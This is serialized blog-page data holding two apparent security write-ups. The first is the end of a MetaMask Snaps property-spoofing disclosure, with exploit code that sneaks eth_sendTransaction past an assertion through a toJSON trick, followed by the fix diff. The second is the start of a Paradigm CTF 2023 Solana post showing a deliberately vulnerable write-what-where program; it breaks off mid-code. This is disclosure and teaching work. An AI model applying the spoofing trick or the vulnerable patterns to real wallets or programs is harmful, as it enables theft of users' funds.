,"props":38904,"children":38905},{"style":523},[38906],{"type":28,"value":552},{"type":23,"tag":504,"props":38908,"children":38909},{"class":506,"line":1485},[38910,38914],{"type":23,"tag":504,"props":38911,"children":38912},{"style":544},[38913],{"type":28,"value":15968},{"type":23,"tag":504,"props":38915,"children":38916},{"style":523},[38917],{"type":28,"value":552},{"type":23,"tag":504,"props":38919,"children":38920},{"class":506,"line":1503},[38921,38925,38930],{"type":23,"tag":504,"props":38922,"children":38923},{"style":529},[38924],{"type":28,"value":38699},{"type":23,"tag":504,"props":38926,"children":38927},{"style":622},[38928],{"type":28,"value":38929}," \"eth_sendTransaction\"",{"type":23,"tag":504,"props":38931,"children":38932},{"style":523},[38933],{"type":28,"value":2484},{"type":23,"tag":504,"props":38935,"children":38936},{"class":506,"line":1516},[38937,38941],{"type":23,"tag":504,"props":38938,"children":38939},{"style":529},[38940],{"type":28,"value":38716},{"type":23,"tag":504,"props":38942,"children":38943},{"style":523},[38944],{"type":28,"value":38945}," [{\n",{"type":23,"tag":504,"props":38947,"children":38948},{"class":506,"line":1543},[38949,38953,38958,38962],{"type":23,"tag":504,"props":38950,"children":38951},{"style":529},[38952],{"type":28,"value":31043},{"type":23,"tag":504,"props":38954,"children":38955},{"style":622},[38956],{"type":28,"value":38957}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":504,"props":38959,"children":38960},{"style":523},[38961],{"type":28,"value":576},{"type":23,"tag":504,"props":38963,"children":38964},{"style":1106},[38965],{"type":28,"value":38966},"// change this to your address\n",{"type":23,"tag":504,"props":38968,"children":38969},{"class":506,"line":1583},[38970,38974,38978],{"type":23,"tag":504,"props":38971,"children":38972},{"style":529},[38973],{"type":28,"value":31059},{"type":23,"tag":504,"props":38975,"children":38976},{"style":622},[38977],{"type":28,"value":38957},{"type":23,"tag":504,"props":38979,"children":38980},{"style":523},[38981],{"type":28,"value":2484},{"type":23,"tag":504,"props":38983,"children":38984},{"class":506,"line":1605},[38985,38990,38995],{"type":23,"tag":504,"props":38986,"children":38987},{"style":529},[38988],{"type":28,"value":38989},"        value:",{"type":23,"tag":504,"props":38991,"children":38992},{"style":622},[38993],{"type":28,"value":38994}," \"0x1\"",{"type":23,"tag":504,"props":38996,"children":38997},{"style":523},[38998],{"type":28,"value":2484},{"type":23,"tag":504,"props":39000,"children":39001},{"class":506,"line":1614},[39002],{"type":23,"tag":504,"props":39003,"children":39004},{"style":523},[39005],{"type":28,"value":39006},"      }]\n",{"type":23,"tag":504,"props":39008,"children":39009},{"class":506,"line":1627},[39010],{"type":23,"tag":504,"props":39011,"children":39012},{"style":523},[39013],{"type":28,"value":875},{"type":23,"tag":504,"props":39015,"children":39016},{"class":506,"line":1655},[39017],{"type":23,"tag":504,"props":39018,"children":39019},{"style":523},[39020],{"type":28,"value":4855},{"type":23,"tag":504,"props":39022,"children":39023},{"class":506,"line":1668},[39024],{"type":23,"tag":504,"props":39025,"children":39026},{"emptyLinePlaceholder":16},[39027],{"type":28,"value":1038},{"type":23,"tag":504,"props":39029,"children":39030},{"class":506,"line":1682},[39031,39035,39039,39043,39047,39051,39055],{"type":23,"tag":504,"props":39032,"children":39033},{"style":544},[39034],{"type":28,"value":38175},{"type":23,"tag":504,"props":39036,"children":39037},{"style":529},[39038],{"type":28,"value":38754},{"type":23,"tag":504,"props":39040,"children":39041},{"style":523},[39042],{"type":28,"value":320},{"type":23,"tag":504,"props":39044,"children":39045},{"style":517},[39046],{"type":28,"value":30471},{"type":23,"tag":504,"props":39048,"children":39049},{"style":523},[39050],{"type":28,"value":526},{"type":23,"tag":504,"props":39052,"children":39053},{"style":529},[39054],{"type":28,"value":18257},{"type":23,"tag":504,"props":39056,"children":39057},{"style":523},[39058],{"type":28,"value":630},{"type":23,"tag":504,"props":39060,"children":39061},{"class":506,"line":1691},[39062],{"type":23,"tag":504,"props":39063,"children":39064},{"style":523},[39065],{"type":28,"value":884},{"type":23,"tag":504,"props":39067,"children":39068},{"class":506,"line":1699},[39069],{"type":23,"tag":504,"props":39070,"children":39071},{"emptyLinePlaceholder":16},[39072],{"type":28,"value":1038},{"type":23,"tag":504,"props":39074,"children":39075},{"class":506,"line":1708},[39076,39080,39084,39089,39093,39098,39102,39107,39112,39116,39120,39125,39129],{"type":23,"tag":504,"props":39077,"children":39078},{"style":544},[39079],{"type":28,"value":37185},{"type":23,"tag":504,"props":39081,"children":39082},{"style":511},[39083],{"type":28,"value":38087},{"type":23,"tag":504,"props":39085,"children":39086},{"style":517},[39087],{"type":28,"value":39088}," onRpcRequest",{"type":23,"tag":504,"props":39090,"children":39091},{"style":598},[39092],{"type":28,"value":3472},{"type":23,"tag":504,"props":39094,"children":39095},{"style":1012},[39096],{"type":28,"value":39097}," OnRpcRequestHandler",{"type":23,"tag":504,"props":39099,"children":39100},{"style":598},[39101],{"type":28,"value":648},{"type":23,"tag":504,"props":39103,"children":39104},{"style":523},[39105],{"type":28,"value":39106}," ({ ",{"type":23,"tag":504,"props":39108,"children":39109},{"style":529},[39110],{"type":28,"value":39111},"origin",{"type":23,"tag":504,"props":39113,"children":39114},{"style":523},[39115],{"type":28,"value":576},{"type":23,"tag":504,"props":39117,"children":39118},{"style":529},[39119],{"type":28,"value":30471},{"type":23,"tag":504,"props":39121,"children":39122},{"style":523},[39123],{"type":28,"value":39124}," }) ",{"type":23,"tag":504,"props":39126,"children":39127},{"style":511},[39128],{"type":28,"value":13802},{"type":23,"tag":504,"props":39130,"children":39131},{"style":523},[39132],{"type":28,"value":552},{"type":23,"tag":504,"props":39134,"children":39135},{"class":506,"line":1717},[39136],{"type":23,"tag":504,"props":39137,"children":39138},{"emptyLinePlaceholder":16},[39139],{"type":28,"value":1038},{"type":23,"tag":504,"props":39141,"children":39142},{"class":506,"line":1725},[39143,39148,39152,39156,39160,39164],{"type":23,"tag":504,"props":39144,"children":39145},{"style":544},[39146],{"type":28,"value":39147},"  switch",{"type":23,"tag":504,"props":39149,"children":39150},{"style":523},[39151],{"type":28,"value":801},{"type":23,"tag":504,"props":39153,"children":39154},{"style":529},[39155],{"type":28,"value":30471},{"type":23,"tag":504,"props":39157,"children":39158},{"style":523},[39159],{"type":28,"value":320},{"type":23,"tag":504,"props":39161,"children":39162},{"style":529},[39163],{"type":28,"value":37289},{"type":23,"tag":504,"props":39165,"children":39166},{"style":523},[39167],{"type":28,"value":537},{"type":23,"tag":504,"props":39169,"children":39170},{"class":506,"line":1757},[39171,39176,39181],{"type":23,"tag":504,"props":39172,"children":39173},{"style":544},[39174],{"type":28,"value":39175},"    case",{"type":23,"tag":504,"props":39177,"children":39178},{"style":622},[39179],{"type":28,"value":39180}," 'json'",{"type":23,"tag":504,"props":39182,"children":39183},{"style":523},[39184],{"type":28,"value":4550},{"type":23,"tag":504,"props":39186,"children":39187},{"class":506,"line":1765},[39188,39192,39196],{"type":23,"tag":504,"props":39189,"children":39190},{"style":544},[39191],{"type":28,"value":38332},{"type":23,"tag":504,"props":39193,"children":39194},{"style":517},[39195],{"type":28,"value":38575},{"type":23,"tag":504,"props":39197,"children":39198},{"style":523},[39199],{"type":28,"value":2647},{"type":23,"tag":504,"props":39201,"children":39202},{"class":506,"line":22762},[39203,39207,39212],{"type":23,"tag":504,"props":39204,"children":39205},{"style":544},[39206],{"type":28,"value":39175},{"type":23,"tag":504,"props":39208,"children":39209},{"style":622},[39210],{"type":28,"value":39211}," 'transaction'",{"type":23,"tag":504,"props":39213,"children":39214},{"style":523},[39215],{"type":28,"value":4550},{"type":23,"tag":504,"props":39217,"children":39218},{"class":506,"line":22799},[39219,39223,39227],{"type":23,"tag":504,"props":39220,"children":39221},{"style":544},[39222],{"type":28,"value":38332},{"type":23,"tag":504,"props":39224,"children":39225},{"style":517},[39226],{"type":28,"value":38807},{"type":23,"tag":504,"props":39228,"children":39229},{"style":523},[39230],{"type":28,"value":2647},{"type":23,"tag":504,"props":39232,"children":39233},{"class":506,"line":22812},[39234,39239],{"type":23,"tag":504,"props":39235,"children":39236},{"style":544},[39237],{"type":28,"value":39238},"    default",{"type":23,"tag":504,"props":39240,"children":39241},{"style":523},[39242],{"type":28,"value":4550},{"type":23,"tag":504,"props":39244,"children":39245},{"class":506,"line":22825},[39246,39251,39255,39260,39264,39269],{"type":23,"tag":504,"props":39247,"children":39248},{"style":544},[39249],{"type":28,"value":39250},"      throw",{"type":23,"tag":504,"props":39252,"children":39253},{"style":511},[39254],{"type":28,"value":30911},{"type":23,"tag":504,"props":39256,"children":39257},{"style":517},[39258],{"type":28,"value":39259}," Error",{"type":23,"tag":504,"props":39261,"children":39262},{"style":523},[39263],{"type":28,"value":526},{"type":23,"tag":504,"props":39265,"children":39266},{"style":622},[39267],{"type":28,"value":39268},"'Method not found.'",{"type":23,"tag":504,"props":39270,"children":39271},{"style":523},[39272],{"type":28,"value":630},{"type":23,"tag":504,"props":39274,"children":39275},{"class":506,"line":22838},[39276],{"type":23,"tag":504,"props":39277,"children":39278},{"style":523},[39279],{"type":28,"value":4855},{"type":23,"tag":504,"props":39281,"children":39282},{"class":506,"line":22892},[39283],{"type":23,"tag":504,"props":39284,"children":39285},{"style":523},[39286],{"type":28,"value":15556},{"type":23,"tag":24,"props":39288,"children":39289},{},[39290,39292,39298,39300,39305],{"type":28,"value":39291},"We set ",{"type":23,"tag":56,"props":39293,"children":39295},{"className":39294},[],[39296],{"type":28,"value":39297},"x.method = \"snap_dialog\"",{"type":28,"value":39299}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":56,"props":39301,"children":39303},{"className":39302},[],[39304],{"type":28,"value":38507},{"type":28,"value":39306}," after.",{"type":23,"tag":82,"props":39308,"children":39309},{"id":887},[39310],{"type":28,"value":890},{"type":23,"tag":24,"props":39312,"children":39313},{},[39314,39316,39321,39323,39330],{"type":28,"value":39315},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":56,"props":39317,"children":39319},{"className":39318},[],[39320],{"type":28,"value":38052},{"type":28,"value":39322}," function execution. The patch was introduced on commit ",{"type":23,"tag":92,"props":39324,"children":39327},{"href":39325,"rel":39326},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[96],[39328],{"type":28,"value":39329},"168ff08",{"type":28,"value":39331}," with the following changes:",{"type":23,"tag":494,"props":39333,"children":39337},{"className":39334,"code":39335,"language":39336,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[39338],{"type":23,"tag":56,"props":39339,"children":39340},{"__ignoreMap":7},[39341,39349,39357,39365,39373],{"type":23,"tag":504,"props":39342,"children":39343},{"class":506,"line":507},[39344],{"type":23,"tag":504,"props":39345,"children":39346},{"style":523},[39347],{"type":28,"value":39348},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":504,"props":39350,"children":39351},{"class":506,"line":540},[39352],{"type":23,"tag":504,"props":39353,"children":39354},{"style":622},[39355],{"type":28,"value":39356},"-      assertEthereumOutboundRequest(args);\n",{"type":23,"tag":504,"props":39358,"children":39359},{"class":506,"line":555},[39360],{"type":23,"tag":504,"props":39361,"children":39362},{"style":622},[39363],{"type":28,"value":39364},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":504,"props":39366,"children":39367},{"class":506,"line":633},[39368],{"type":23,"tag":504,"props":39369,"children":39370},{"style":1440},[39371],{"type":28,"value":39372},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":504,"props":39374,"children":39375},{"class":506,"line":687},[39376],{"type":23,"tag":504,"props":39377,"children":39378},{"style":1440},[39379],{"type":28,"value":39380},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":70,"props":39382,"children":39383},{"id":1800},[39384],{"type":28,"value":1803},{"type":23,"tag":24,"props":39386,"children":39387},{},[39388],{"type":28,"value":39389},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":24,"props":39391,"children":39392},{},[39393],{"type":28,"value":39394},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":1815,"props":39396,"children":39397},{},[39398],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":39400},[39401,39402,39409,39417],{"id":17937,"depth":540,"text":17940},{"id":34429,"depth":540,"text":34432,"children":39403},[39404,39405,39406,39407,39408],{"id":34440,"depth":555,"text":34443},{"id":34508,"depth":555,"text":34511},{"id":34544,"depth":555,"text":34547},{"id":35940,"depth":555,"text":35943},{"id":36298,"depth":555,"text":36301},{"id":37084,"depth":540,"text":37087,"children":39410},[39411,39412,39413,39414,39415,39416],{"id":37090,"depth":555,"text":37093},{"id":37134,"depth":555,"text":37137},{"id":38038,"depth":555,"text":38041},{"id":4644,"depth":555,"text":4647},{"id":38480,"depth":555,"text":33805},{"id":887,"depth":555,"text":890},{"id":1800,"depth":540,"text":1803},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":39422,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":39423,"description":39424,"author":39425,"image":39427,"date":39429,"isFeatured":16,"onBlogPage":16,"body":39430,"_type":1838,"_id":44850,"_source":1840,"_file":44851,"_stem":44852,"_extension":1843},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[39426,4702],"nicola",{"src":39428},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":39431,"toc":44839},[39432,39446,39466,39471,39475,39488,39513,39519,39524,39539,39893,39908,40173,40189,40832,40838,40843,40856,40864,41076,41084,41387,41395,41538,41546,42071,42077,42089,42102,42116,42121,42889,42894,42902,42907,42913,42925,42990,42995,43008,43021,43027,43055,44206,44219,44261,44266,44271,44285,44425,44446,44467,44474,44525,44533,44544,44557,44562,44686,44699,44801,44805,44818,44823,44835],{"type":23,"tag":24,"props":39433,"children":39434},{},[39435,39437,39444],{"type":28,"value":39436},"In the world of CTFs, ",{"type":23,"tag":92,"props":39438,"children":39441},{"href":39439,"rel":39440},"https://twitter.com/paradigm_ctf",[96],[39442],{"type":28,"value":39443},"Paradigm CTF 2023",{"type":28,"value":39445}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":24,"props":39447,"children":39448},{},[39449,39451,39458,39459],{"type":28,"value":39450},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":92,"props":39452,"children":39455},{"href":39453,"rel":39454},"https://osec.io/blog/2022-03-14-solana-security-intro",[96],[39456],{"type":28,"value":39457},"Solana: An Auditor's Introduction",{"type":28,"value":430},{"type":23,"tag":92,"props":39460,"children":39463},{"href":39461,"rel":39462},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[96],[39464],{"type":28,"value":39465},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":24,"props":39467,"children":39468},{},[39469],{"type":28,"value":39470},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":70,"props":39472,"children":39473},{"id":17937},[39474],{"type":28,"value":17940},{"type":23,"tag":24,"props":39476,"children":39477},{},[39478,39480,39486],{"type":28,"value":39479},"The challenge itself resides into ",{"type":23,"tag":56,"props":39481,"children":39483},{"className":39482},[],[39484],{"type":28,"value":39485},"framework/",{"type":28,"value":39487},", and is composed of 2 parts:",{"type":23,"tag":350,"props":39489,"children":39490},{},[39491,39502],{"type":23,"tag":45,"props":39492,"children":39493},{},[39494,39500],{"type":23,"tag":56,"props":39495,"children":39497},{"className":39496},[],[39498],{"type":28,"value":39499},"framework/chall/lib.rs",{"type":28,"value":39501},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":45,"props":39503,"children":39504},{},[39505,39511],{"type":23,"tag":56,"props":39506,"children":39508},{"className":39507},[],[39509],{"type":28,"value":39510},"framework/src/main.rs",{"type":28,"value":39512},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":82,"props":39514,"children":39516},{"id":39515},"vulnerable-program",[39517],{"type":28,"value":39518},"Vulnerable Program",{"type":23,"tag":24,"props":39520,"children":39521},{},[39522],{"type":28,"value":39523},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":41,"props":39525,"children":39526},{},[39527],{"type":23,"tag":45,"props":39528,"children":39529},{},[39530,39531,39537],{"type":28,"value":6463},{"type":23,"tag":56,"props":39532,"children":39534},{"className":39533},[],[39535],{"type":28,"value":39536},"data[0] == 0",{"type":28,"value":39538}," a function that lets you write-what-where is executed",{"type":23,"tag":494,"props":39540,"children":39542},{"className":1957,"code":39541,"language":1956,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[39543],{"type":23,"tag":56,"props":39544,"children":39545},{"__ignoreMap":7},[39546,39554,39599,39610,39733,39850,39879,39886],{"type":23,"tag":504,"props":39547,"children":39548},{"class":506,"line":507},[39549],{"type":23,"tag":504,"props":39550,"children":39551},{"style":523},[39552],{"type":28,"value":39553},"#[inline(never)]\n",{"type":23,"tag":504,"props":39555,"children":39556},{"class":506,"line":540},[39557,39561,39565,39570,39574,39578,39582,39586,39590,39594],{"type":23,"tag":504,"props":39558,"children":39559},{"style":511},[39560],{"type":28,"value":12671},{"type":23,"tag":504,"props":39562,"children":39563},{"style":511},[39564],{"type":28,"value":12676},{"type":23,"tag":504,"props":39566,"children":39567},{"style":517},[39568],{"type":28,"value":39569}," write",{"type":23,"tag":504,"props":39571,"children":39572},{"style":523},[39573],{"type":28,"value":526},{"type":23,"tag":504,"props":39575,"children":39576},{"style":529},[39577],{"type":28,"value":2679},{"type":23,"tag":504,"props":39579,"children":39580},{"style":598},[39581],{"type":28,"value":3472},{"type":23,"tag":504,"props":39583,"children":39584},{"style":598},[39585],{"type":28,"value":6125},{"type":23,"tag":504,"props":39587,"children":39588},{"style":523},[39589],{"type":28,"value":2711},{"type":23,"tag":504,"props":39591,"children":39592},{"style":1012},[39593],{"type":28,"value":2397},{"type":23,"tag":504,"props":39595,"children":39596},{"style":523},[39597],{"type":28,"value":39598},"]) {\n",{"type":23,"tag":504,"props":39600,"children":39601},{"class":506,"line":555},[39602,39606],{"type":23,"tag":504,"props":39603,"children":39604},{"style":511},[39605],{"type":28,"value":12814},{"type":23,"tag":504,"props":39607,"children":39608},{"style":523},[39609],{"type":28,"value":552},{"type":23,"tag":504,"props":39611,"children":39612},{"class":506,"line":633},[39613,39617,39621,39625,39630,39634,39639,39643,39648,39652,39657,39661,39665,39669,39673,39677,39681,39685,39689,39693,39697,39701,39705,39709,39713,39717,39721,39725,39729],{"type":23,"tag":504,"props":39614,"children":39615},{"style":511},[39616],{"type":28,"value":2041},{"type":23,"tag":504,"props":39618,"children":39619},{"style":529},[39620],{"type":28,"value":12838},{"type":23,"tag":504,"props":39622,"children":39623},{"style":598},[39624],{"type":28,"value":648},{"type":23,"tag":504,"props":39626,"children":39627},{"style":523},[39628],{"type":28,"value":39629}," std",{"type":23,"tag":504,"props":39631,"children":39632},{"style":598},[39633],{"type":28,"value":2457},{"type":23,"tag":504,"props":39635,"children":39636},{"style":523},[39637],{"type":28,"value":39638},"mem",{"type":23,"tag":504,"props":39640,"children":39641},{"style":598},[39642],{"type":28,"value":2457},{"type":23,"tag":504,"props":39644,"children":39645},{"style":517},[39646],{"type":28,"value":39647},"transmute",{"type":23,"tag":504,"props":39649,"children":39650},{"style":598},[39651],{"type":28,"value":2457},{"type":23,"tag":504,"props":39653,"children":39654},{"style":523},[39655],{"type":28,"value":39656},"\u003C[",{"type":23,"tag":504,"props":39658,"children":39659},{"style":1012},[39660],{"type":28,"value":2397},{"type":23,"tag":504,"props":39662,"children":39663},{"style":523},[39664],{"type":28,"value":16206},{"type":23,"tag":504,"props":39666,"children":39667},{"style":1440},[39668],{"type":28,"value":3055},{"type":23,"tag":504,"props":39670,"children":39671},{"style":523},[39672],{"type":28,"value":22041},{"type":23,"tag":504,"props":39674,"children":39675},{"style":598},[39676],{"type":28,"value":3552},{"type":23,"tag":504,"props":39678,"children":39679},{"style":511},[39680],{"type":28,"value":2701},{"type":23,"tag":504,"props":39682,"children":39683},{"style":1012},[39684],{"type":28,"value":4843},{"type":23,"tag":504,"props":39686,"children":39687},{"style":523},[39688],{"type":28,"value":6594},{"type":23,"tag":504,"props":39690,"children":39691},{"style":529},[39692],{"type":28,"value":2679},{"type":23,"tag":504,"props":39694,"children":39695},{"style":523},[39696],{"type":28,"value":2711},{"type":23,"tag":504,"props":39698,"children":39699},{"style":598},[39700],{"type":28,"value":2028},{"type":23,"tag":504,"props":39702,"children":39703},{"style":1440},[39704],{"type":28,"value":3055},{"type":23,"tag":504,"props":39706,"children":39707},{"style":523},[39708],{"type":28,"value":14391},{"type":23,"tag":504,"props":39710,"children":39711},{"style":598},[39712],{"type":28,"value":320},{"type":23,"tag":504,"props":39714,"children":39715},{"style":517},[39716],{"type":28,"value":25142},{"type":23,"tag":504,"props":39718,"children":39719},{"style":523},[39720],{"type":28,"value":12860},{"type":23,"tag":504,"props":39722,"children":39723},{"style":598},[39724],{"type":28,"value":320},{"type":23,"tag":504,"props":39726,"children":39727},{"style":517},[39728],{"type":28,"value":2642},{"type":23,"tag":504,"props":39730,"children":39731},{"style":523},[39732],{"type":28,"value":14405},{"type":23,"tag":504,"props":39734,"children":39735},{"class":506,"line":687},[39736,39740,39745,39749,39753,39757,39761,39765,39769,39773,39777,39781,39785,39789,39793,39797,39801,39805,39809,39813,39817,39822,39826,39830,39834,39838,39842,39846],{"type":23,"tag":504,"props":39737,"children":39738},{"style":511},[39739],{"type":28,"value":2041},{"type":23,"tag":504,"props":39741,"children":39742},{"style":529},[39743],{"type":28,"value":39744}," val",{"type":23,"tag":504,"props":39746,"children":39747},{"style":598},[39748],{"type":28,"value":648},{"type":23,"tag":504,"props":39750,"children":39751},{"style":523},[39752],{"type":28,"value":39629},{"type":23,"tag":504,"props":39754,"children":39755},{"style":598},[39756],{"type":28,"value":2457},{"type":23,"tag":504,"props":39758,"children":39759},{"style":523},[39760],{"type":28,"value":39638},{"type":23,"tag":504,"props":39762,"children":39763},{"style":598},[39764],{"type":28,"value":2457},{"type":23,"tag":504,"props":39766,"children":39767},{"style":517},[39768],{"type":28,"value":39647},{"type":23,"tag":504,"props":39770,"children":39771},{"style":598},[39772],{"type":28,"value":2457},{"type":23,"tag":504,"props":39774,"children":39775},{"style":523},[39776],{"type":28,"value":39656},{"type":23,"tag":504,"props":39778,"children":39779},{"style":1012},[39780],{"type":28,"value":2397},{"type":23,"tag":504,"props":39782,"children":39783},{"style":523},[39784],{"type":28,"value":16206},{"type":23,"tag":504,"props":39786,"children":39787},{"style":1440},[39788],{"type":28,"value":3055},{"type":23,"tag":504,"props":39790,"children":39791},{"style":523},[39792],{"type":28,"value":22041},{"type":23,"tag":504,"props":39794,"children":39795},{"style":1012},[39796],{"type":28,"value":7025},{"type":23,"tag":504,"props":39798,"children":39799},{"style":523},[39800],{"type":28,"value":6594},{"type":23,"tag":504,"props":39802,"children":39803},{"style":529},[39804],{"type":28,"value":2679},{"type":23,"tag":504,"props":39806,"children":39807},{"style":523},[39808],{"type":28,"value":2711},{"type":23,"tag":504,"props":39810,"children":39811},{"style":1440},[39812],{"type":28,"value":3055},{"type":23,"tag":504,"props":39814,"children":39815},{"style":598},[39816],{"type":28,"value":2028},{"type":23,"tag":504,"props":39818,"children":39819},{"style":1440},[39820],{"type":28,"value":39821},"16",{"type":23,"tag":504,"props":39823,"children":39824},{"style":523},[39825],{"type":28,"value":14391},{"type":23,"tag":504,"props":39827,"children":39828},{"style":598},[39829],{"type":28,"value":320},{"type":23,"tag":504,"props":39831,"children":39832},{"style":517},[39833],{"type":28,"value":25142},{"type":23,"tag":504,"props":39835,"children":39836},{"style":523},[39837],{"type":28,"value":12860},{"type":23,"tag":504,"props":39839,"children":39840},{"style":598},[39841],{"type":28,"value":320},{"type":23,"tag":504,"props":39843,"children":39844},{"style":517},[39845],{"type":28,"value":2642},{"type":23,"tag":504,"props":39847,"children":39848},{"style":523},[39849],{"type":28,"value":14405},{"type":23,"tag":504,"props":39851,"children":39852},{"class":506,"line":736},[39853,39858,39862,39867,39871,39875],{"type":23,"tag":504,"props":39854,"children":39855},{"style":529},[39856],{"type":28,"value":39857},"        ptr",{"type":23,"tag":504,"props":39859,"children":39860},{"style":598},[39861],{"type":28,"value":320},{"type":23,"tag":504,"props":39863,"children":39864},{"style":517},[39865],{"type":28,"value":39866},"write_volatile",{"type":23,"tag":504,"props":39868,"children":39869},{"style":523},[39870],{"type":28,"value":526},{"type":23,"tag":504,"props":39872,"children":39873},{"style":529},[39874],{"type":28,"value":11613},{"type":23,"tag":504,"props":39876,"children":39877},{"style":523},[39878],{"type":28,"value":630},{"type":23,"tag":504,"props":39880,"children":39881},{"class":506,"line":785},[39882],{"type":23,"tag":504,"props":39883,"children":39884},{"style":523},[39885],{"type":28,"value":875},{"type":23,"tag":504,"props":39887,"children":39888},{"class":506,"line":813},[39889],{"type":23,"tag":504,"props":39890,"children":39891},{"style":523},[39892],{"type":28,"value":884},{"type":23,"tag":41,"props":39894,"children":39895},{"start":540},[39896],{"type":23,"tag":45,"props":39897,"children":39898},{},[39899,39900,39906],{"type":28,"value":6463},{"type":23,"tag":56,"props":39901,"children":39903},{"className":39902},[],[39904],{"type":28,"value":39905},"data[0] == 1",{"type":28,"value":39907},", a CPI to a non-existent program is executed:",{"type":23,"tag":494,"props":39909,"children":39911},{"className":1957,"code":39910,"language":1956,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[39912],{"type":23,"tag":56,"props":39913,"children":39914},{"__ignoreMap":7},[39915,39922,39966,39991,40021,40061,40082,40089,40096,40108,40124,40136,40147,40166],{"type":23,"tag":504,"props":39916,"children":39917},{"class":506,"line":507},[39918],{"type":23,"tag":504,"props":39919,"children":39920},{"style":523},[39921],{"type":28,"value":39553},{"type":23,"tag":504,"props":39923,"children":39924},{"class":506,"line":540},[39925,39929,39933,39938,39942,39946,39950,39954,39958,39962],{"type":23,"tag":504,"props":39926,"children":39927},{"style":511},[39928],{"type":28,"value":12671},{"type":23,"tag":504,"props":39930,"children":39931},{"style":511},[39932],{"type":28,"value":12676},{"type":23,"tag":504,"props":39934,"children":39935},{"style":517},[39936],{"type":28,"value":39937}," call",{"type":23,"tag":504,"props":39939,"children":39940},{"style":523},[39941],{"type":28,"value":526},{"type":23,"tag":504,"props":39943,"children":39944},{"style":529},[39945],{"type":28,"value":2679},{"type":23,"tag":504,"props":39947,"children":39948},{"style":598},[39949],{"type":28,"value":3472},{"type":23,"tag":504,"props":39951,"children":39952},{"style":598},[39953],{"type":28,"value":6125},{"type":23,"tag":504,"props":39955,"children":39956},{"style":523},[39957],{"type":28,"value":2711},{"type":23,"tag":504,"props":39959,"children":39960},{"style":1012},[39961],{"type":28,"value":2397},{"type":23,"tag":504,"props":39963,"children":39964},{"style":523},[39965],{"type":28,"value":39598},{"type":23,"tag":504,"props":39967,"children":39968},{"class":506,"line":555},[39969,39973,39978,39982,39987],{"type":23,"tag":504,"props":39970,"children":39971},{"style":511},[39972],{"type":28,"value":1977},{"type":23,"tag":504,"props":39974,"children":39975},{"style":529},[39976],{"type":28,"value":39977}," ix",{"type":23,"tag":504,"props":39979,"children":39980},{"style":598},[39981],{"type":28,"value":648},{"type":23,"tag":504,"props":39983,"children":39984},{"style":1012},[39985],{"type":28,"value":39986}," Instruction",{"type":23,"tag":504,"props":39988,"children":39989},{"style":523},[39990],{"type":28,"value":552},{"type":23,"tag":504,"props":39992,"children":39993},{"class":506,"line":633},[39994,39999,40003,40008,40012,40017],{"type":23,"tag":504,"props":39995,"children":39996},{"style":529},[39997],{"type":28,"value":39998},"        program_id",{"type":23,"tag":504,"props":40000,"children":40001},{"style":598},[40002],{"type":28,"value":3472},{"type":23,"tag":504,"props":40004,"children":40005},{"style":517},[40006],{"type":28,"value":40007}," pubkey!",{"type":23,"tag":504,"props":40009,"children":40010},{"style":523},[40011],{"type":28,"value":526},{"type":23,"tag":504,"props":40013,"children":40014},{"style":622},[40015],{"type":28,"value":40016},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":504,"props":40018,"children":40019},{"style":523},[40020],{"type":28,"value":5720},{"type":23,"tag":504,"props":40022,"children":40023},{"class":506,"line":687},[40024,40029,40033,40037,40041,40045,40049,40053,40057],{"type":23,"tag":504,"props":40025,"children":40026},{"style":529},[40027],{"type":28,"value":40028},"        